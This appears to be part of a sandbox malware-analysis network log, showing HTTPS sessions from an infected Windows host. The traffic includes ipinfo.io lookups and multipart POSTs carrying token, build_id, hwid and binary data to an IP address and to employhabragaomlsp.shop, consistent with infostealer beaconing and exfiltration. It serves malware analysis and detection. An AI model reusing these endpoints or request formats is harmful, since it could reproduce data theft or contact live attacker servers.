2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 11 45 95 08 c9 5b 56 46 d2 d8 c7 91 36 66 4e af a6 33 da 7f ad 41 73 08 cb 1b 05 a5 b0 2f ea ad 72 9b 04 1c b9 a9 30 96 3f 11 d1 42 91 08 f6 92 a0 9d 7a 80 eb 78 81 a0 22 65 86 c1 5e a9 c8 12 d3 b5 cc 47 c3 a6 62 b4 ca f8 f4 b3 ca 75 c9 10 01 e2 9e ee 77 f9 4d 74 93 29 58 28 46 4b f5 21 5e ae f0 85 c6 ec 87 42 91 b1 dd 93 86 c0 07 89 7e 53 a7 14 81 98 a0 92 6b 4a 31 3a e8 9e c1 70 a1 d9 2f 46 d3 83 1d eb f4 12 8b fd 9d e7 99 92 e8 70 41 de be 7a fa 5f aa ae df e3 28 0c 83 32 ce dc 9c 91 df ea 9b 63 96 9c 01 69 84 df f9 8a dc 5c 37 83 08 d7 da 11 aa f5 fd 01 f2 9e ae eb 11 94 2b 67 b8 2e 6f f0 d0 e8 ab f9 a9 ef 62 97 2b ff 0a fa d9 a2 b1 19 ef ed 02 f9 68 c2 99 27 c8 98 3b 98 bb 0f 16 2f c5 64 e5 a9 dd 89 67 93 5a 0f 92 2f 30 1a 16 4e b0 1b 75 f3 24 c2 98 Data Ascii: E[VF6fN3As/r0?Bzx"e^GbuwMt)X(FK!^B~SkJ1:p/FpAz_(2ci\7+g.ob+h';/dgZ/0Nu$
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 37 68 9f 1c 44 88 bb 7b 07 a8 be d0 e5 f4 7b cb 90 a2 af 7e 7b 52 62 bb f4 d5 9e 7a 71 e9 d9 d5 30 60 1b 83 9a 63 9b b5 e6 95 00 0c f5 f7 dd 8f 47 5e 31 5d fa 82 33 50 07 5a e6 9b f7 3d 5a 27 5c 0d 57 4a 4d f1 b6 0e 46 f9 ef ae 4d fd 45 d0 4d 11 14 7f 11 3b e0 0b ce d8 fc 57 34 39 7a bd a3 ce 28 67 69 a2 d9 6a 7b a9 e8 a3 13 2f 39 5a 7e 77 49 cd 27 ae d9 ce f9 f0 eb 85 f7 fe 7b 19 b2 c3 82 77 28 6e 1f d0 bd c8 cf 0f 39 d2 0f 08 ff d5 52 52 37 37 39 17 a9 ae a1 4b 76 1f 6f f4 46 2d 89 dc 44 7b dc 73 4d 12 4a 6a d0 13 34 73 01 63 6d 6a 4c a5 6e 6f 41 70 6d 09 76 1e a5 6e 1e 97 a1 13 06 b7 fc ee 9c fc dc 8d 63 f6 b4 1f 2d 49 5b 78 44 d9 db dd fe 71 2e b5 f2 07 c7 20 ce 82 22 7b b5 f9 2e 4f f1 e2 39 9a 5f 59 6b 3f f9 d3 ee 19 9e 7e cb 9f aa 07 dd 5e 7d b0 55 Data Ascii: 7hD{{~{Rbzq0`cG^1]3PZ=Z'\WJMFMEM;W49z(gij{/9Z~wI'{w(n9RR779KvoF-D{sMJj4scmjLnoApmvnc-I[xDq. "{.O9_Yk?~^}U
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 93 37 61 53 7d 7f 2e 0e 6e 1e d4 11 ee f2 d5 3a cd f1 91 32 1a 6f 73 f0 2a 27 e7 2c 78 0d 8d bc 50 5d aa 4d ae 2a 4b 42 c7 1e 50 1d b1 e0 d8 04 ef 77 76 91 17 db bd b3 a7 95 e9 f6 90 db ac 59 99 f7 e4 ef b1 92 0c 78 55 e0 66 75 86 6b 2e c4 5b 46 f4 22 0c e6 b8 e0 0f 33 06 37 f7 22 84 80 d1 44 2e 54 47 04 7a af cf f0 11 07 c7 d5 6c 76 20 cf 43 e9 0d 51 ff 2b 93 b6 c8 a0 80 db 5e 93 4e 45 f7 91 e0 c3 bd cc 26 1e 30 44 71 1c b5 56 75 c1 08 ef bc 7b ff e9 f0 7b 6d 53 7f 2d 49 87 fb 47 24 6d ee a9 bc 57 36 27 a5 fb a1 ff 3e a0 35 2d 9c 4c 58 81 18 fe 89 54 be ff ff 2b b9 21 09 4a c7 78 e0 3c b0 f8 67 e0 92 cc e2 1b 21 46 55 39 25 a5 05 59 0c 7f 5e 2c 79 54 c4 c3 41 38 4f b5 7f e2 ec 08 27 7c 97 28 cb 4a 10 44 fc d9 9e 0e 54 b4 9f 21 89 b5 06 a9 81 5b 51 da d4 Data Ascii: 7aS}.n:2os',xP]MKBPwvYxUfuk.[F"37"D.TGzlv CQ+^NE&0DqVu{{mS-IG$mW6'>5-LXT+!Jx<g!FU9%Y^,yTA8O'\|(JDT![Q
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: de 4a ac 10 6e 10 a4 34 b9 f1 bd 9c 38 db 39 b9 b4 36 64 e3 56 31 bf ce 2c 42 ce a9 4e 42 b8 a9 1c 59 61 d1 f8 79 b9 06 5b 2d 5f e8 62 4f 28 90 7b 16 55 48 6a 34 30 f0 15 f8 71 b0 25 90 aa ae dc ea ad 5d 9b 00 c5 7b 6f fb 3c 4b d3 42 06 16 6c bf da 51 2b 62 2d c3 08 40 ec aa 75 46 29 87 eb 73 6c bb 38 a6 f4 0b 61 40 d0 8d b1 7b 7c 3d f7 8f dc dd 9a 74 aa 57 ec 2e 72 f6 68 4b 16 2a 51 89 36 14 b3 1f ef bb fc d1 c8 e6 9b be 67 81 a0 a1 46 53 d8 16 5f d8 e9 36 be e2 7c c3 59 c7 d8 de 8a ed 07 3f 82 0c 7f 08 9d 73 96 fd 55 97 f8 0c fa 5d 82 cd ad 4c c4 10 c0 83 a1 02 7a 6b db a0 bc 2d f7 87 2b 24 9c 8d e8 1d c4 ad df a2 17 1c d5 39 bc a5 8f 3b c4 f1 47 4d 6c 1d a5 17 99 19 90 0c ab 24 19 d1 fb d4 d4 67 f5 e4 31 21 b0 cf 8f ea 90 fe 29 e6 79 90 7f 15 23 47 88 Data Ascii: Jn4896dV1,BNBYay[-_bO({UHj40q%]{o<KBlQ+b-@uF)sl8a@{\|=tW.rhK*Q6gFS_6\|Y?sU]Lzk-+$9;GMl$g1!)y#G
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 58 cc 46 22 0f 61 64 79 9b 65 ed 42 a6 d7 7f 96 53 e4 44 c9 bb ba 9e b3 4a fe bf b6 8a 9f 38 59 04 7c bd 73 38 2f ae ca e3 cd be b6 c0 38 dd be 6f 48 bc 3b f7 ad 2a 6b 58 a2 09 76 e1 54 09 32 52 10 e4 a1 03 ab 4b 33 92 d2 38 41 c8 0d d4 b9 cd 14 a4 ee 66 c3 26 ca 1d 6e 55 3d 14 fd 71 11 10 56 bd 83 c0 2d 9c cc 6c e6 04 07 aa e4 7f 5b f6 ca c6 47 2f 19 70 ed ce f2 90 ac 97 a9 7f fd eb e3 47 c8 1f 3b e3 b3 81 04 f1 de 1b b8 45 1c b2 fc 96 63 9a fb 5c 49 7c 35 5e d1 8a 96 c4 58 ff 99 89 8f 7c b2 19 9a 82 48 be cd c2 6c 8e db 92 86 12 0a b4 91 70 f3 01 2b d2 04 9d 95 3b ab a5 df e6 a3 59 3f a3 44 6f a2 01 6e 73 f5 67 1a cb 67 08 41 bf 36 ba f4 38 e7 5e 20 93 1d e0 5c fd e3 5a 94 43 2f 58 ac 11 02 57 37 46 4b 3e d6 48 8f 56 2a f5 6d 56 c2 d4 c7 00 44 97 d2 df Data Ascii: XF"adyeBSDJ8Y\|s8/8oH;kXvT2RK38Af&nU=qV-l[G/pG;Ec\I\|5^X\|Hlp+;Y?DonsggA68^ \ZC/XW7FK>HVmVD
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: ac bb 83 24 e8 be 43 fd 49 24 84 c8 21 e6 9d a8 07 02 e6 e0 75 c3 f9 6b a1 30 e1 79 88 3e 7f e2 e2 50 85 c3 68 5e 3a 41 44 93 a1 90 ae f8 9a 9c e0 69 0a 9b d6 c3 65 52 5d 54 ee bb 69 9b 8b 61 18 98 40 76 e6 fb d5 fe df f6 b4 16 bd cc 1f 09 9b 80 e7 c0 dc 73 14 2c 3b 7f 66 fc 05 16 e6 c3 f1 2e 4a 63 3b c7 27 e6 5c d9 f6 03 91 06 44 6d 94 99 58 5f d1 0d fb 5a 17 a5 f4 b9 f1 14 b3 0b 8a 97 94 32 0c e6 d4 db 5c 63 ed 6b 88 f2 a1 7a 97 04 e3 c9 fc 80 57 60 3d b6 ea a8 6b 7d a7 59 d3 f8 fe 10 47 a9 00 24 66 95 af a8 97 fe c0 d3 9f 84 bd be 6f d1 1b 4a 46 76 a7 c6 b5 d4 f0 9e 88 06 9a cd a7 c1 6f e5 ab fa 25 9e 9c 17 65 0f 8e 0f 4b f4 3b 6d 3a ff 8b 78 42 29 dc 3f 55 7f 55 80 14 e8 11 c3 18 36 ca ef 29 09 b8 e6 b5 b4 f9 25 11 4f aa 35 95 4b ff 79 9d 76 56 6f a8 Data Ascii: $CI$!uk0y>Ph^:ADieR]Tia@vs,;f.Jc;'\DmX_Z2\ckzW`=k}YG$foJFvo%eK;m:xB)?UU6)%O5KyvVo
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 42 cd 8b c4 fd 3d 80 3e 98 89 d0 92 20 66 be 2c a8 ba bc 1f c0 ff f2 82 68 83 49 f7 ca 9c b5 97 89 2d 64 6d 2c d7 01 f5 5d 93 47 60 bb 99 c3 8c 14 b8 ba db 54 1e 22 c5 c3 41 c8 32 e1 0c 4b f7 d1 64 f8 35 99 17 63 17 24 b1 c4 29 be 8e 5f 09 7e 0b c2 ad 04 44 a4 9b 9f c7 fc 03 15 ee dc 9e 0a f5 4e 87 8e 25 c8 32 1b d7 69 22 f8 5d b2 f0 3b 80 72 1b 4a 8a dd 3a f8 3c 84 88 bf c1 b8 98 6c 3b db 5d 34 ac c7 96 11 16 72 e3 1e bc 36 5a 20 1c a5 d2 09 b8 13 73 e1 47 09 b0 96 e1 af 39 26 e7 95 4e 5b 43 b4 84 a8 10 a4 bc 11 a8 43 15 26 88 d0 09 fb 2e d5 3f 80 f8 21 3e 7e 41 89 6f 35 07 1e c5 ca 3f fd 04 0e f4 7e 6d ca 47 99 35 04 4b 70 de 80 f4 27 c1 aa 08 5a b0 6b 4c e3 8b 27 83 ea 0e f9 ed 01 7c b3 49 79 64 7e be d9 2d 7a 54 98 a0 30 53 7b 59 98 ef 5b f5 67 79 86 Data Ascii: B=> f,hI-dm,]G`T"A2Kd5c$)_~DN%2i"];rJ:<l;]4r6Z sG9&N[CC&.?!>~Ao5?~mG5Kp'ZkL'\|Iyd~-zT0S{Y[gy
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: fc fd e4 5c 68 fb be 00 ce 51 b3 15 2f c4 06 60 1f 6d 91 ee ff 0f 50 66 9f 6b 3d 2a 34 06 e9 e6 8c 0d bd fd 4f b7 8f c3 c6 77 41 dd 82 6c fe b9 ea fb 87 6f 49 10 b6 1b 05 70 7b 21 32 3f 94 b1 27 7a 28 36 df c8 0e 05 c3 61 b6 bb b7 59 fa 73 d6 ad 9f c1 f5 21 bc dc 29 2c bb 20 fb e8 7e 69 e6 ad 06 35 9b d3 c8 da c6 b8 ef 2f 7d 73 bc 14 c0 1e 3c 27 20 b2 6a 31 46 ea a4 93 2f f7 43 b3 ab 83 2c ad 68 c2 82 9f 2c ce 79 fc d5 fc 36 c0 4f 20 fe 1a 21 06 e1 82 71 5b bf 9e 5d 1a 4d 12 a1 f8 42 e6 8e f9 19 08 99 87 f5 a2 3b 04 9b b2 b4 0e 81 c3 d6 e9 b5 35 46 ab 81 69 4d 68 d3 52 0c 3f bd 91 87 62 6e 52 cc 3d cf b2 d6 93 3e 5d 4f e3 05 93 1b e8 19 3b d0 f4 4b 58 63 81 f2 3a a9 56 36 5d b1 3e 50 56 64 4c e7 8d 72 62 b8 b7 14 b3 59 65 de db 15 f1 4d bf 55 e9 a1 78 ce Data Ascii: \hQ/`mPfk=*4OwAloIp{!2?'z(6aYs!), ~i5/}s<' j1F/C,h,y6O !q[]MB;5FiMhR?bnR=>]O;KXc:V6]>PVdLrbYeMUx
2024-05-24 07:43:17 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u2p9vsipleilrb98qm56308lkd; expires=Tue, 17-Sep-2024 01:29:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jOq9RfBSSdvMvJZnjOLri1K9g9mrWeE5CFJuo0xbFYWapWL0%2FidaaSQFQxxp8u7D84HZf0A3rF7GFayWfNhVdzeGP6Je2ihZaJqUDS%2BaurRkYTm4tsKBO%2FP2J4FMhc9EPO6lGXkOebK17A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7622acf41b4-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	49977	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:16 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECAFHDBGHJKFIDHJJJE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 07:43:16 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 38 37 63 36 33 30 35 38 36 63 31 61 36 36 36 38 62 30 61 38 38 61 62 64 63 37 62 65 61 62 32 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 0d 0a 43 6f 6e 74 Data Ascii: ------IECAFHDBGHJKFIDHJJJEContent-Disposition: form-data; name="token"f87c630586c1a6668b0a88abdc7beab2------IECAFHDBGHJKFIDHJJJEContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------IECAFHDBGHJKFIDHJJJECont
2024-05-24 07:43:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:43:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49980	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:16 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:43:17 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:43:16 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:43:17 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 07:43:17 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49981	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:16 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:43:17 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:43:16 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:43:17 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 07:43:17 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49979	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:17 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 07:43:17 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:17 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 07:43:17 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iesqdrfusfuej6edbakouqghq3; expires=Tue, 17-Sep-2024 01:29:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EarGNUP63tyVfKV9ovsngYO1G8vQLEmhqSuYzXkAKV0G3JhagiNYFr5I%2B9V7dJTEYnKMnZgiSnC2fxXVU6siYKo9JiPH%2BG56VQfoXedKwmW59NPk6P67fk%2BshUgfzDtyQ4hYZywEbUL1MA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba764794b6a58-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49982	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:17 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 13630 Host: employhabragaomlsp.shop
2024-05-24 07:43:17 UTC	13630	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:17 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ep05janaingmojf36bd5vs4l16; expires=Tue, 17-Sep-2024 01:29:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u2ZuX9pLUnN6UsmZr1puxFE%2Fevf1HSs9oJnOsH32GpjTJR7RBZ5Q%2F%2BsG7nKbb6kdN4T0tpVkR0RisFCBPtEwOOIjDb9kVDZQyGlL1mCTzETq9NDx0zhxmdgYGkk2qxb62zdSlcNnOmlzzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba766a86d4205-EWR alt-svc: h3=":443"; ma=86400
